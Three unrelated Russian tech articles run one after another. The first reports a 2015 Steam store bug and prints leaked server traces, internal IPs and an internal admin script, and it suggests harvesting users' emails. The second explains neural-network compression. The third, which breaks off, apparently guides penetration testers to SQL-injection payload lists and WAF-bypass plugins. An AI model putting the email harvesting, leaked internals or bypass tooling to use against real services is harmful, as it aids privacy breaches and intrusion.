1: StoreObject( s:31:"betaapp_28_29900_russian_public";, O:12:"CApplication":130:{s:33:"?CApplication?m_strLoadedLang ... , i:3956; ) called at /valve/www/store.steampowered.com/bld3202303/store/includes/application.php : 3485
2: ConstructCApplication( s:5:"29900";, s:7:"russian";, b:1; ) called at /valve/www/store.steampowered.com/bld3202303/store/includes/application.php : 3663
3: PreloadMultipleApps( a:5:{i:0;s:5:"35140";i:1;s:5:"19680";i:2;s:5:"10150";i:3;s:5 ... , b:1;, b:1; ) called at /valve/www/store.steampowered.com/bld3202303/store/includes/application.php : 3868
4: PreloadMultipleAppLinks( a:5:{i:0;s:5:"35140";i:1;s:5:"19680";i:2;s:5:"10150";i:3;s:5 ... ) called at /valve/www/store.steampowered.com/bld3202303/store/controllers/default.php : 1074
5: LoadComplete( ) called at /valve/www/store.steampowered.com/bld3202303/store/controllers/default.php : 1050
6: EnsureLoaded( ) called at /valve/www/store.steampowered.com/bld3202303/store/controllers/default.php : 1111
Performance Data
Memcached get called 157 times (50.20 milliseconds)
Memcached set called 217 times (2699.43 milliseconds)
Shared memcached server 10.4.0.51:11211 status 2
Shared memcached server 10.4.0.52:11211 status 0
Shared memcached server 10.4.0.53:11211 status 2
Shared memcached server 10.4.0.54:11211 status 0
Shared memcached get called 170 times (1454.42 milliseconds)
Shared memcached set called 91 times (1512.70 milliseconds)
Execution Time: 14058.346987 milliseconds
Memory Usage: 42,729,472 bytes
MySQL queries run against 127.0.0.1:storefront3 : 0
MySQL queries run against 127.0.0.1:mordor : 0
Application factory loaded 53 apps, 101 applinks
Subscription factory loaded 380 subs
Time spent in WG calls: 7.82 seconds
Request BatchedRequest #0 1 calls, 0.12 seconds, 456 bytes
Trigger: ValidateUserToken
Batch: IPToLocation(0.01), **ValidateUserToken**(0.05)
Request BatchedRequest #1 1 calls, 0.38 seconds, 12,626 bytes
Batch: GetWalletDetails(0.14), GetPlayerLinkDetails(0.14), GetWishlistItemCount(0.14),
Player.GetOwnedApps(0.14), Store.GetDiscoveryQueue(0.14), GetWishlist(0.14), QuerySolr[DLC
on sale](0.30), GetPendingNotificationCounts(0.14)
Request ExperimentService.ReportProductImpression 1 calls, 0.00 seconds, 1 bytes
Request BatchedRequest #2 1 calls, 1.21 seconds, 43,456 bytes
Trigger: StoreCatalog.GetPackageRevision
Batch: QuerySolr[CUserWishlistOnSaleLoader::OnWishlistReady](0.96), StoreCatalog.GetApp(0.12),
StoreCatalog.GetAppRevision(0.16), StoreCatalog.GetPackage(0.13),
**StoreCatalog.GetPackageRevision**(0.14), StoreCatalog.GetPackage(0.12),
StoreCatalog.GetPackageRevision(0.16), StoreCatalog.GetPackage(0.12),
StoreCatalog.GetPackageRevision(0.16)
Request BatchedRequest #3 1 calls, 0.51 seconds, 1,366 bytes
Trigger: StoreCatalog.GetPackageRevision
Batch: StoreCatalog.GetPackage(0.25), **StoreCatalog.GetPackageRevision**(0.28)
Request BatchedRequest #4 1 calls, 0.43 seconds, 2,711 bytes
Trigger: Store.GetAppTags
Batch: **Store.GetAppTags**(0.08)
Request BatchedRequest #5 1 calls, 0.54 seconds, 33,329 bytes
Trigger: StoreCatalog.GetPackageRevision
Batch: StoreCatalog.GetPackage(0.26), **StoreCatalog.GetPackageRevision**(0.27),
StoreCatalog.GetPackage(0.26), StoreCatalog.GetPackageRevision(0.28),
StoreCatalog.GetPackage(0.26), StoreCatalog.GetPackageRevision(0.28),
StoreCatalog.GetPackage(0.26), StoreCatalog.GetPackageRevision(0.28),
StoreCatalog.GetPackage(0.26), StoreCatalog.GetPackageRevision(0.27),
StoreCatalog.GetPackage(0.26), StoreCatalog.GetPackageRevision(0.27),
StoreCatalog.GetPackage(0.26), StoreCatalog.GetPackageRevision(0.28),
StoreCatalog.GetPackage(0.26), StoreCatalog.GetPackageRevision(0.28),
StoreCatalog.GetPackage(0.26), StoreCatalog.GetPackageRevision(0.27),
StoreCatalog.GetPackage(0.26), StoreCatalog.GetPackageRevision(0.28),
StoreCatalog.GetPackage(0.26), StoreCatalog.GetPackageRevision(0.28),
StoreCatalog.GetPackage(0.26), StoreCatalog.GetPackageRevision(0.27)
Request BatchedRequest #6 1 calls, 0.34 seconds, 96,188 bytes
Trigger: StoreCatalog.GetPackageRevision
Batch: StoreCatalog.GetApp(0.06), StoreCatalog.GetAppRevision(0.26),
StoreCatalog.GetPackage(0.06), **StoreCatalog.GetPackageRevision**(0.26),
StoreCatalog.GetPackage(0.06), StoreCatalog.GetPackageRevision(0.26)
Request BatchedRequest #7 1 calls, 0.83 seconds, 72,521 bytes
Trigger: StoreCatalog.GetAppRevision
Batch: StoreCatalog.GetApp(0.06), **StoreCatalog.GetAppRevision**(0.43), Store.GetAppTags(0.06),
StoreCatalog.GetApp(0.06), StoreCatalog.GetAppRevision(0.43), Store.GetAppTags(0.06)
Request BatchedRequest #8 1 calls, 1.63 seconds, 2,932 bytes
Trigger: StoreCatalog.GetPackageRevision
Batch: StoreCatalog.GetPackage(0.63), **StoreCatalog.GetPackageRevision**(1.01),
StoreCatalog.GetPackage(0.54), StoreCatalog.GetPackageRevision(1.00)
Request BatchedRequest #9 1 calls, 0.23 seconds, 1,256 bytes
Trigger: StoreCatalog.GetPackageRevision
Batch: StoreCatalog.GetPackage(0.09), **StoreCatalog.GetPackageRevision**(0.13)
Request BatchedRequest #10 1 calls, 0.29 seconds, 10,773 bytes
Trigger: QuerySolr
Batch: **QuerySolr**[tab:TopSellers][cache: hit,up-to-date], QuerySolr[tab:Discounts][cache:
hit,up-to-date], QuerySolr[tab:ComingSoon][cache: hit,up-to-date],
QuerySolr[tab:PopularNewReleasesHome][cache: hit,up-to-date],
QuerySolr[tab:top_games_under_30000min15000][cache: hit,up-to-date],
QuerySolr[tab:top_games_under_15000min0][cache: hit,up-to-date]
Request BatchedRequest #11 1 calls, 0.54 seconds, 133,255 bytes
Trigger: StoreCatalog.GetAppRevision
Batch: StoreCatalog.GetApp(0.29), **StoreCatalog.GetAppRevision**(0.30)
Request BatchedRequest #12 1 calls, 0.77 seconds, 7,236 bytes
Trigger: Store.GetAppTags
Batch: **Store.GetAppTags**(0.38), Store.GetAppTags(0.49), Store.GetAppTags(0.49),
Store.GetAppTags(0.38)
Total calls: 14 [WG: 14, Memcache: 0]
CPackageInfo status: Not Fetched
Localization version is 20.
Using native localization extension.
Host: sfweb-029.cde.rack
Profiler:
Init: 0.000s
End controller time: 2.987s
Template templates/partials/header_admin_options.php render time: 0.000s
End controller time: 0.001s
End controller time: 0.003s
Template templates/partials/menu_store.php render time: 0.003s
Template templates/partials/home_header_winter2014.php render time: 6.133s
End controller time: 0.598s
Template templates/default_winter_2014.php render time: 4.302s
Total: 14.037s
HOMEPAGE STATS
Cache key: "homepage_sale_3202303_1451068605_win_menu_RU_beta_russian__store.steampowered.com_6fb30244387417fb0a8b3dc0_Europe/Moscow"
Homepage rendered without cache.
Next homepage cluster/spotlight/dailydeal update: 26 дек в 10:00 ( 40,965 seconds from now )
Homepage cache lifetime: 300 seconds
Build: 3202303 2015-12-24 21:45:42 MSK
Disable Log (Refreshes page!)
0.000s WG: BatchedRequest Making request. Expect response: 1. Use SSL: 0. Max retries:
0.121s WG: BatchedRequest Succeeded. Read 456 bytes in 0.121s
0.126s WG: BatchedRequest Making request. Expect response: 1. Use SSL: 0. Max retries:
0.505s WG: BatchedRequest Succeeded. Read 12626 bytes in 0.379s
0.514s WG: ExperimentService.ReportProductImpression Making request. Expect response: 0. Use SSL: 0. Max retries:
0.516s WG: ExperimentService.ReportProductImpression Failed, but was not expecting response. Read 1 bytes in 0.002s
0.678s WG: BatchedRequest Making request. Expect response: 1. Use SSL: 0. Max retries:
1.890s WG: BatchedRequest Succeeded. Read 43456 bytes in 1.212s
1.941s WG: BatchedRequest Making request. Expect response: 1. Use SSL: 0. Max retries:
2.450s WG: BatchedRequest Succeeded. Read 1366 bytes in 0.509s
2.539s WG: BatchedRequest Making request. Expect response: 1. Use SSL: 0. Max retries:
2.966s WG: BatchedRequest Succeeded. Read 2711 bytes in 0.427s
3.019s WG: BatchedRequest Making request. Expect response: 1. Use SSL: 0. Max retries:
3.555s WG: BatchedRequest Succeeded. Read 33329 bytes in 0.536s
3.672s WG: BatchedRequest Making request. Expect response: 1. Use SSL: 0. Max retries:
4.011s WG: BatchedRequest Succeeded. Read 96188 bytes in 0.339s
4.069s WG: BatchedRequest Making request. Expect response: 1. Use SSL: 0. Max retries:
4.901s WG: BatchedRequest Succeeded. Read 72521 bytes in 0.832s
4.947s WG: BatchedRequest Making request. Expect response: 1. Use SSL: 0. Max retries:
6.575s WG: BatchedRequest Succeeded. Read 2932 bytes in 1.628s
7.630s WG: BatchedRequest Making request. Expect response: 1. Use SSL: 0. Max retries:
7.856s WG: BatchedRequest Succeeded. Read 1256 bytes in 0.226s
9.742s WG: BatchedRequest Making request. Expect response: 1. Use SSL: 0. Max retries:
10.036s WG: BatchedRequest Succeeded. Read 10773 bytes in 0.295s
10.227s WG: BatchedRequest Making request. Expect response: 1. Use SSL: 0. Max retries:
10.770s WG: BatchedRequest Succeeded. Read 133255 bytes in 0.543s
12.500s WG: BatchedRequest Making request. Expect response: 1. Use SSL: 0. Max retries:
13.270s WG: BatchedRequest Succeeded. Read 7236 bytes in 0.770s
```
При переходе по страницам магазина пользователя кидает в рандомные чужие профили.
По ссылкам вашего аккаунта отображаются чужие данные, например по этим:
[store.steampowered.com/account](https://store.steampowered.com/account/)
[store.steampowered.com/steamaccount/addfunds](http://store.steampowered.com/steamaccount/addfunds)
В Account Details находится наиболее важная информация, включая список последних транзакций, сумму денег на электронном счете, адрес электронной почты, номер телефона (последние четыре цифры), домашний адрес и номер кредитной карты (последние четыре цифры).
При желании можно составить базу E-mail пользователей Steam.
В магазине можно добавить товары в чужую корзину. Но покупку совершить не выйдет.
В коде страницы можно увидеть комментарий:
```
```
и рядом ссылку на скрипт для администраторов:
[store.steampowered.com//public/javascript/internal\_tools.js?v=YfxbUueIZPfu](http://store.steampowered.com//public/javascript/internal_tools.js?v=YfxbUueIZPfu)
**Код скрипта**
```
function FlushHomepage()
{
HideMenu( 'admin_pulldown', 'admin_dropdown' );
var $CurrentStatus = $J('');
var $Message = $J('').text('Please wait, flushing homepage...' );
var Modal = ShowBlockingWaitDialog( 'Flush Homepage', $Message.append( $CurrentStatus ) );
var fnFail = function() { Modal.Dismiss(); ShowAlertDialog( 'Flush Homepage', 'Something went wrong' ); };
$J.post('http://store.steampowered.com/api/prepareupdateglobalcacheversion' )
.done( function( data ) {
var global_cache_version = data.global_cache_version;
var rgLocales = data.rgLocales;
var fnDoLocale = function ( rgLocale )
{
return $J.post( 'http://store.steampowered.com/api/primehomepage', {
global_cache_version: global_cache_version,
l: rgLocale[0],
cc: rgLocale[1]
});
};
var fnFinalize = function()
{
$CurrentStatus.text( 'Finalizing...' );
$J.post( 'http://store.steampowered.com/api/updateglobalcacheversion', {
global_cache_version: global_cache_version
}).done( function() {
$CurrentStatus.text( 'Reloading...' );
window.location.reload();
}).fail( fnFail );
};
if ( !data.allow_simultaneous )
{
var iLocale = 0;
var fnDoNextLocale = function()
{
if ( iLocale < rgLocales.length )
{
var rgLocale = rgLocales[iLocale];
$CurrentStatus.text( 'Priming homepage for ' + rgLocale[0] + ' language in ' + rgLocale[1] + '...');
fnDoLocale( rgLocale ).always( fnDoNextLocale );
iLocale++;
}
else
{
// finish
fnFinalize();
}
};
fnDoNextLocale();
}
else
{
$CurrentStatus.text( 'Priming homepage for ' + rgLocales.length + ' common locales...' );
var rgDeferred = [];
for ( var iLocale = 0; iLocale < rgLocales.length; iLocale++ )
{
rgDeferred.push( fnDoLocale( rgLocales[iLocale] ) );
}
// jQuery.when() does not accept an array, because that would be too easy
// so we use apply to pass the arguments in
$J.when.apply( window, rgDeferred ).always( fnFinalize );
}
} )
.fail( fnFail );
}
function FlushApp(appid)
{
HideMenu( 'admin_pulldown', 'admin_dropdown' );
var Modal = ShowBlockingWaitDialog( 'Flush App', 'Please wait, flushing app information and updating search index...' );
$J.post('http://store.steampowered.com/api/flushcluster', { 'apps[]': appid } )
.done( function( data ) { window.location.reload(); } )
.fail( function() { Modal.Dismiss(); ShowAlertDialog( 'Flush App', 'Something went wrong.' ); } )
}
function FlushSub(subscriptionid)
{
HideMenu( 'admin_pulldown', 'admin_dropdown' );
var Modal = ShowBlockingWaitDialog( 'Flush Package', 'Please wait, flushing package information and updating search index...' );
$J.post('http://store.steampowered.com/api/flushcluster', { 'subs[]': subscriptionid } )
.done( function( data ) { window.location.reload(); } )
.fail( function() { Modal.Dismiss(); ShowAlertDialog( 'Flush Package', 'Something went wrong.' ); } )
}
```
Пока никаких комментариев от Valve по поводу этого инцидента не поступило.
Ранее хакерская группировка Phantom Squad грозилась в Twitter на праздники вывести из строя PlayStation Network и Xbox Live.
[twitter.com/RealPhantomRaid/status/680503376631742464](https://twitter.com/RealPhantomRaid/status/680503376631742464)
Так же группа SkidNP обещала утроить атаку на сервера Valve:
[www.techworm.net/2015/12/hacking-group-skidnp-vows-target-steam-minecraft-servers-christmas.html](http://www.techworm.net/2015/12/hacking-group-skidnp-vows-target-steam-minecraft-servers-christmas.html)
У некоторых пользователей увели крупные суммы денег в привязанной кредитки:
**UPD (00:20 MSK)**: В данный момент Valve уже отключили магазин, он успел проработать (с багом) около 4 часов.
**UPD2 (02:00 MSK)**: Спустя полтора часа после отключения Valve снова включили магазин. | https://habr.com/ru/post/388475/ | null | ru | null |
# Что такое базовые методы компрессии нейронных сетей и где этому учат
Сегодня нейросетевые подходы составляют большую часть решений задач в области компьютерного зрения, но при этом работа инженеров в этой области не ограничивается обучением state-of-the-art архитектур на своих данных. Часто такие задачи требуют анализа видео или фотографий в режиме реального времени или с минимальной задержкой на конечных устройствах без возможности горизонтального масштабирования. Это может быть редактирование фотографий на смартфонах или же анализ качества продукции на производстве с помощью микрокомпьютеров.
Но даже если у нас есть возможность использовать облачную инфраструктуру, затраты на нее довольно внушительны, и хочется иметь возможность их снизить.
Для того чтобы решать задачи компьютерного зрения эффективно, применяются методы оптимизации моделей нейронных сетей, или по-другому - компрессия.
Мы можем оптимизировать следующие показатели:
1. количество обучаемых параметров нейронной сети
2. количество вычислений
3. скорость вычислений
4. нагрузка на железо
В итоге мы оптимизируем скорость работы сети или её размер. Зачем оптимизировать скорость понятно, но зачем уменьшать размер? Современные модели могут занимать сотни мегабайт. Пользователи вашего мобильного приложения будут не очень рады огромному объему приложения, большая часть которого будет занимать модель компьютерного зрения. Или же вам самим будет не очень приятно обновлять модель, если она используется в условиях с низкой скоростью интернета.
Далее мы рассмотрим существующие методы для оптимизации моделей.
Оптимизация на уровне архитектуры
---------------------------------
Хаки в конструировании более легких и быстрых архитектур нейронных сетей.
1. Использование Depthwise (на каждый входной канал свой кернел) + Pointwise (по сути стандартная свертка 1 на 1) сверток вместо обычного Conv2d. По сути последовательность сверток Depthwise и Pointwise является разложением стандартной свертки Conv2d. Слой Conv2d позволяет уловить как пространственную зависимость между признаками, так и межканальную. Здесь Depthwise свертка отвечает за пространственную зависимость, а Pointwise за межканальную. Такое сочетание позволяет заметно снизить количество параметров сети без большой потери качества. Используется в таких архитектурах, как Mobilenet и EfficientNet.
2. Стандартная свертка размера 3 на 3 с шагом 2 может заменить слой пулинга. Используется в MobileNetV2.
3. Использование двух сверток Nx1 и 1xN может заменить свертку NxN, при этом будет использоваться меньшее количество параметров. Используется в Inception.
4. Использование более простых функций активаций. Например ReLU вместо Leaky ReLU, ELU, sigmoid и тд.
Вообще, про Depthwise и Pointwise свертки есть хорошее видео от [Samsung](https://www.youtube.com/watch?v=ASChrJhj-zY).
Pruning
-------
Представим нейронную сеть: огромное количество нейронов и связей с весами. Такое большое количество параметров позволяет нейросети выявлять сложные зависимости в данных и решать трудные задачи. Однако практика показывает, что для хорошей работы сети не требуется все количество параметров, которые у нее есть. Получается, что можно удалить какие-то параметры из нее так, чтобы она работала так же хорошо? Это и есть основа для идеи прунинга, то есть попытка из уже готовой хорошо обученной нейронной сети удалить лишь лишние элементы.
Источник https://arxiv.org/pdf/1506.02626.pdf Существует множество эвристик для определения важности весов, в основном они базируются на значениях весов или активации нейрона. К примеру, если значение веса близко к нулю, то влияние, которое он оказывает на сеть, минимальное. Если же он имеет большое значение, то он важен.
Например в PyTorch “из коробки” предлагается реализация класса, который осуществляет ранжирование по L1 или L2 норме. Так, при L1 мы будем смотреть на сумму по модулю всех весов для нейрона, а при L2 - на корень из суммы квадратов весов.
Однако удалять по одному весу из целой нейронной сети слишком ресурсозатратно, поэтому можно удалять сразу 10% весов за раз. Но так как нельзя гарантировать того, что качество модели не ухудшится, лучше дообучить модель 1-2 эпохи, чтобы компенсировать возможную потерю. Подобный алгоритм можно завернуть в цикл:
Таким образом мы должны производить эти итерации до тех пор, пока не найдем компромисс между качеством модели и ее размером.
Прунинг делится на **структурированный** и **неструктурированный.**
В структурированном прунинге удаляются целые строки/столбцы, и за счет этого уменьшается размерность весов.. Это приводит к удалению нейронов со всеми их входящими и исходящими соединениями в полносвязных слоях или целых сверточных фильтров в сверточных слоях.
При неструктурированном прунинге отдельные веса могут быть обнулены без изменения их размерности. Это приводит к обнулению отдельных связей между нейронами в full-connected слоях или обнулению отдельных весов сверточных фильтров. Важно заметить, что результирующие тензоры веса могут быть разреженными, но сохранять свою первоначальную форму. А так как разреженные массивы имеют большую часть элементов, равную нулю, то можно сэкономить много памяти, а также ресурсов процессора, если хранить или/и обрабатывать только ненулевые элементы.
Пример работы прунинга с использованием фреймворка PyTorch:
**Неструктурированный**
```
import torch, torch.nn as nn # Импортируем модули pytorch
from torch.nn.utils import prune
x = nn.Linear(2, 5) # Создаем линейный слой
x.weight # Посмотрим на веса до прунинга
```
output:
```
tensor([[ 0.6027, -0.0132],
[-0.3317, -0.4073],
[ 0.3354, -0.4877],
[-0.5949, 0.1284],
[-0.0481, 0.3109]], requires_grad=True)
```
```
p = prune.L1Unstructured(amount=0.7) # Создаем экземпляр класса L1Unstructured. Указываем что 70% весов должны быть обнулены
pruned_tensor = p.prune(x.weight) # Применяем прунинг
pruned_tensor # Вывод результатов
```
output:
```
tensor([[-0.5350, 0.0000],
[-0.4944, 0.6620],
[-0.0000, 0.0000],
[ 0.0000, 0.0000],
[ 0.0000, -0.0000]], grad_fn=)
```
**Структурированный**
```
import torch, torch.nn as nn # Импортируем модули pytorch
from torch.nn.utils import prune
input = torch.randn(4, 8) # Создаем тензор 4x8 заполненный случайными значениями
print(input) # Посмотрим на наш тензор
```
output:
```
tensor([[ 1.2293, 0.6055, -0.3335, 0.8573, 0.6970, -0.2022, 1.2806, -0.0069],
[ 0.3494, 2.2867, -0.4391, -1.3565, 2.2132, -0.7696, -1.4215, -0.8918],
[ 0.3112, 0.3527, 0.3800, 1.2782, -1.6047, -1.7413, -0.7175, -1.0089],
[ 0.6704, -0.9795, 0.9496, -0.1903, -1.8126, 0.0990, 0.9806, 0.3054]])
```
```
input.abs().sum(dim=1) # Ставим все элементы в модуль и суммируем значения элементов каждой строки
```
output:
```
tensor([5.2122, 9.7277, 7.3944, 5.9875])
```
```
y = prune.LnStructured(amount=0.5, n=1, dim=0) # Создаем экземпляр класса LnStructured. Указываем что 50% весов должны быть обнулены, n=1 - для оценки значимости веса используем L1 норму, dim=0 - группировка по весам
y.prune(input) # Применяем прунинг
```
output:
```
tensor([[ 0.0000, 0.0000, -0.0000, 0.0000, 0.0000, -0.0000, 0.0000, -0.0000],
[ 0.3494, 2.2867, -0.4391, -1.3565, 2.2132, -0.7696, -1.4215, -0.8918],
[ 0.3112, 0.3527, 0.3800, 1.2782, -1.6047, -1.7413, -0.7175, -1.0089],
[ 0.0000, -0.0000, 0.0000, -0.0000, -0.0000, 0.0000, 0.0000, 0.0000]])
```
Knowledge distillation
----------------------
Дистилляция знаний является одним из самых эффективных способов уменьшения размера модели, а также скорости ее работы. Модель меньшего размера, обученная повторять поведение тяжелой и точной модели-учителя, достигает схожих с ней результатов, значительно выигрывая в размере и скорости за счет упрощенной архитектуры. В некоторых случаях, модель-ученик даже может превзойти учителя, но, в основном, ее точность будет немного ниже.
Большим плюсом этого подхода является возможность обучать ученика на неразмеченных данных, однако, для достижения максимального качества необходимо объединять предсказания учителя с разметкой. Из минусов можно выделить необходимость более длительного по сравнению с другими методами обучения.
Несмотря на кажущуюся безграничную возможность сжатия моделей за счет подбора минималистичной архитектуры ученика, [эксперименты показывают](https://arxiv.org/pdf/2006.03669.pdf), что для качественной дистилляции знаний количество параметров в архитектуре модели-ученика не должно быть более чем в два раза меньше количества параметров учителя.
Источник https://devopedia.org/knowledge-distillation
Для примера возьмем архитектуры ResNet 18 и ResNet50 в качестве ученика и учителя соответственно и обучим их на данных из открытого контеста [Kaggle](https://www.kaggle.com/c/cassava-leaf-disease-classification). Перед нами стоит задача классификации типов болезни у определенного растения по фотографии. Всего есть 4 метки болезней и метка здорового листа. Разобьем имеющиеся данные на три равные по размеру выборки для обучения, валидации и тестирования моделей. Используем Adam, и следующие гиперпараметры: 20 эпох, шаг - 0.0001, размер батча - 32. Также сделаем нормализацию картинок и приведем их все к размеру 256x256. Будем замерять две метрики: точность и площадь под ROC-кривой. Сохранять модель будем по точности на валидационной выборке.
ResNet18 достигает точности 0.8309, площадь под ROC-кривой при этом - 0.9488. При тех же условиях обучения ResNet50 справляется лучше: 0.8437 для точности и 0.9530 для ROC AUC.
Далее проводим дистилляцию знаний с теми же данными, гиперпараметрами и предобработкой. Будем использовать две лосс-функции: среднеквадратичную ошибку между softmax выходами ученика и учителя (MSE), комбинация среднеквадратичной ошибки с кросс-энтропией (MSE + CE). Результаты экспериментов приведены в таблице ниже:
| | | | | |
| --- | --- | --- | --- | --- |
| Ученик | Учитель | Способ дистилляции | Accuracy | ROC AUC |
| ResNet50 | - | - | 0.8437 | 0.9530 |
| ResNet18 | - | - | 0.8309 | 0.9488 |
| ResNet18(1) | ResNet50 | MSE | 0.8346 | 0.9510 |
| ResNet18(2) | ResNet50 | MSE + CE | 0.8234 | 0.9450 |
| MobileNetV2 | ResNet18(1) | MSE | 0.8458 | 0.9541 |
| MobileNetV2 | ResNet50 | MSE | 0.8474 | 0.9556 |
**Дистилляция знаний с использованием среднеквадратичной ошибки между softmax выходами учителя и ученика:**
Обучение проходит идентично обычному, за исключением измененной лосс-функции.
После дистилляции модель-ученик (ResNet18), обходит классически обученную версию. Хоть точность и не стала сильно больше, ROC AUC метрика свидетельствует о повышении стабильности ученика. Также предсказания модели-учителя позволяют обучать ученика на новых, неразмеченных данных.
**Дистилляция знаний с использованием среднеквадратичной ошибки и кросс-энтропии:**
Такой разделенный подход позволяет добиться качества модели, превосходящего все остальные в цепочке. Также планомерное уменьшение модели позволяет добиваться оптимального соотношения размер/качество за счет итеративного подхода.
**Дистилляция знаний из ResNet50 в MobileNetV2:**
Хотя умные статьи с архива говорят о том, что подход с резким уменьшением размера ученика по сравнению с учителем не работает, в нашем случае он дал лучший результат из всех. Это говорит о том, что всегда стоит пробовать все возможные варианты, особенно, когда это не сложно сделать.
**Дистилляция знаний из ResNet18, обученной с помощью ResNet50, в MobileNetV2:**
Комбинация функций потерь на каждой эпохе обучения мешает модели-ученику повторять за учителем. В итоге у модели не получается выполнить ни одну из поставленных задач и она работает хуже, чем при классическом варианте обучения
Отлично, с компрессией и оптимизацией разобрались. Кто научит ?
----------------------------------------------------------------
Конечно, обучиться основам машинного обучения, компьютерного зрения и компрессии нейронных сетей можно самостоятельно. В интернете достаточно учебных материалов, коротких курсов и масштабных научных исследований, посвященных этой теме. И вообще плохой программист тот, кто не находится в процессе постоянного обучения, поиска новых фреймворков и способов их применения.
Но зачем искать информацию самому, если можно совместить приятное с полезным, и параллельно получить магистерскую степень в ведущих ВУЗах России?
Мы, в Napoleon IT, занимаемся образовательными проектами уже более 7 лет, а в прошлом году открыли наши первые совместные магистерские программы.
В 2020 мы совместно с Челябинским Государственным Университетом и компанией Интерсвязь начали обучать студентов на магистерской программе Machine Learning. На протяжении двух лет специалисты наших компаний и преподаватели ЧелГУ обучат студентов основам Machine Learning, highload backend и другим дисциплинам, необходимым каждому молодому разработчику, планирующему начать свою карьеру в IT. В этом году набор продлится до 30 июля, а университет предлагает абитуриентам 27 бюджетных мест! Заявку можно оставить по [ссылке](http://iit.csu.ru/masters/).
Так же рекомендуем обратить свое внимание на нашу новейшую магистратуру, созданную совместно с Университетом ИТМО. До 9 августа вы можете стать обладателем одного из 15 бюджетных мест в ведущем техническом ВУЗе России, за выпускников которого топовые IT-компании ведут борьбу еще со студенческой скамьи! Главный трек этой программы - Computer Vision и компрессия нейронных сетей, но помимо глубоких технических навыков, полученных от опытнейших разработчиков Napoleon IT, студенты так же получат навыки управления проектами в сфере IT, что несомненно станет для них весомым преимуществом при трудоустройстве в будущем. Попробовать свои силы можно по [ссылке](http://itmo.napoleonit.ru).
Стоит также отметить, что теоретическая база магистратур основана на нашем бизнес-опыте Napoleon IT, поэтому все практические задания - это study case, а студенты получают возможность попасть на стажировку в Napoleon IT и компании-партнеры уже со 2 семестра! | https://habr.com/ru/post/567584/ | null | ru | null |
# Оптимизация и автоматизация тестирования веб-приложений
В этой статье я расскажу о том, как оптимизировать и автоматизировать процессы тестирования на проникновение с помощью специализированных утилит и их расширений.
Тестирование на проникновение условно можно разделить на два этапа:
* автоматизированное тестирование;
* ручное тестирование.
Плюсы и минусы автоматизированного тестирования
-----------------------------------------------
**Плюсы:**
При автоматизированном тестировании, как правило, значительно экономится время тестирования, можно покрыть большую площадь веб-приложения за меньшее время.
Большое количество проверок. Автоматизированные системы содержат огромное количество паттернов атак, признаков уязвимостей, и, как правило, расширяемы.
Перебор файлов и папок, подбор паролей — тут, я думаю все понятно и так.
Регламентное сканирование и процедуры инвентаризации — для этих целей автоматизированные системы подходят лучше всего.
**Минусы:**
False positive срабатывания. Очень часто сканеры руководствуясь формальными признаками выявляют уязвимости, которых нет. Классика жанра — при сканировании Single Page Application сканер получает код ответа 200 на все свои запросы и выводит длинный список уязвимостей, которых на самом деле нет.
Они "очень шумные". При сканировании сайта создается очень много событий в журналах веб-сервера, по которым легко определить атаку.
Нагрузка на веб-сервер. Иногда автоматизированное сканирование может дать ощутимую нагрузку на веб-сервер, что может привести к нестабильной работе веб приложения (хотя этот минус относится к конфигурированию веб-сервера).
Блокирование средствами защиты. Как правило, признаки автоматизированных систем хорошо знакомы разработчикам и они учитывают их при проектировании. Как итог — происходит блокировка (по User Agent, маркерам сканера или частоте запросов).
Не учитывают ошибки логики.
Требуют ручной валидации уязвимостей.
Построение эффективных автоматизированных систем, оптимизированных под веб-приложение
-------------------------------------------------------------------------------------
Для того, чтобы автоматизированная система была максимально эффективна, она должна обладать следующими возможностями:
* расширение функционала, в том числе с помощью сторонних модулей;
* мультиформатность результатов тестирования;
* импорт/экспорт результатов тестирования;
* стандартизированные результаты тестирования;
* возможность сравнения результатов;
* возможность интеграции системы в более сложную.
Эти факторы позволят построить систему, отвечающую вашим требованиям и целям.
В качестве примера "готовой системы" могу привести описанную мной ранее Sparta. Для того, чтобы тестирование было максимально эффективным, контролируемым, а также для комфортной валидации уязвимостей необходимо учитывать все компоненты системы, архитектуру тестируемого приложения и связность решений.
Прокачиваем утилиты
-------------------
В качестве оптимальной основы предлагаю остановится на двух кроссплатформенных системах для тестирования веб-приложений (как в ручном, так и в автоматизированном режиме): OWASP ZAP (free версия) и BurpSuite (free + платная версии).
Самое важное отличие этих систем от классических сканнеров — это принцип работы: сканнер "долбит по сайту" напрямую, выявляя те или иные признаки уязвимостей, зачастую пропуская огромные участки веб-приложения. А Zap и Burp работают в качестве проксирующего механизма, позволяющего добавить все области сайта (как встроенным "пауками", так и при ручном серфинге приложения). Также, важной особенностью является возможность "на лету" разбирать каждый запрос.
Огромным плюсом этих приложений является возможность расширения с помощью плагинов/компонентов:
* магазин приложений (готовые решения);
* интеграция сторонних модулей (вне магазина приложений);
* написание собственных (кастомизированных под конкретный проект).
В качестве примера приложения предлагаю рассмотреть уязвимое веб-приложение со следующими характеристиками:
* известная CMS;
* поддержка плагинов/компонентов;
* содержит уязвимости (в том числе OWASP A1 — sql injection);
* содержит средства защиты.
Исходя из этих данных нам необходимо выбрать и использовать следующие компоненты (минимальный набор).
**Owasp ZAP:**
Установленные:
Необходимо установить:
Здесь необходимо выбрать те инструменты, которые помогут выявлять и эксплуатировать уязвимости, обозначенные в списке выше.
**Burp Suite:**
Честно признаюсь, Burp мне нравится больше чем Owasp Zap, поэтому остановлюсь на нем подробнее.
Нам необходимо выполнить задачу по идентификации CMS и установленных компонентов, выявить устаревшие версии, попытаться обойти WAF и проэксплуатировать SQL-инъекцию.
В первую очередь необходимо придерживаться методологии тестирования веб-приложения. В этом нам поможет представленный на последнем Def Con [HUNT Burp Suite Extension](https://github.com/bugcrowd/HUNT):
* Определяем общие параметры для определенных классов уязвимостей.
* Организовываем методологию тестирования внутри Burp Suite.
Далее нам пригодится плагин (уже добавленный в BApp store) от Vulners.com ([isox](https://habr.com/ru/users/isox/), [avleonov](https://habr.com/ru/users/avleonov/) — спасибо за замечательный инструмент).
Также, может быть полезен расширенный набор фаззинга для sql-инъекций (которого нет в бесплатной версии — [sql и не только](https://github.com/1N3/IntruderPayloads/tree/master/BurpAttacks).
Далее, ускорить "раскручивание" инъекции нам поможет sql map — для его интеграции необходимо воспользоваться плагином SQLiPy:
Нам известно, что веб-приложение защищено WAF — могут пригодится расширения What the WAF и Waf bypass.
Также рекомендую плагин от Владимира Иванова: [burp-xss-sql-plugin](https://github.com/attackercan/burp-xss-sql-plugin).
В качестве средства автоматизации можно использовать встроенный сканнер, либо воспользоваться инструментом [Burp Automator](https://github.com/0x4D31/burpa):
Требования:
* burp-rest-api
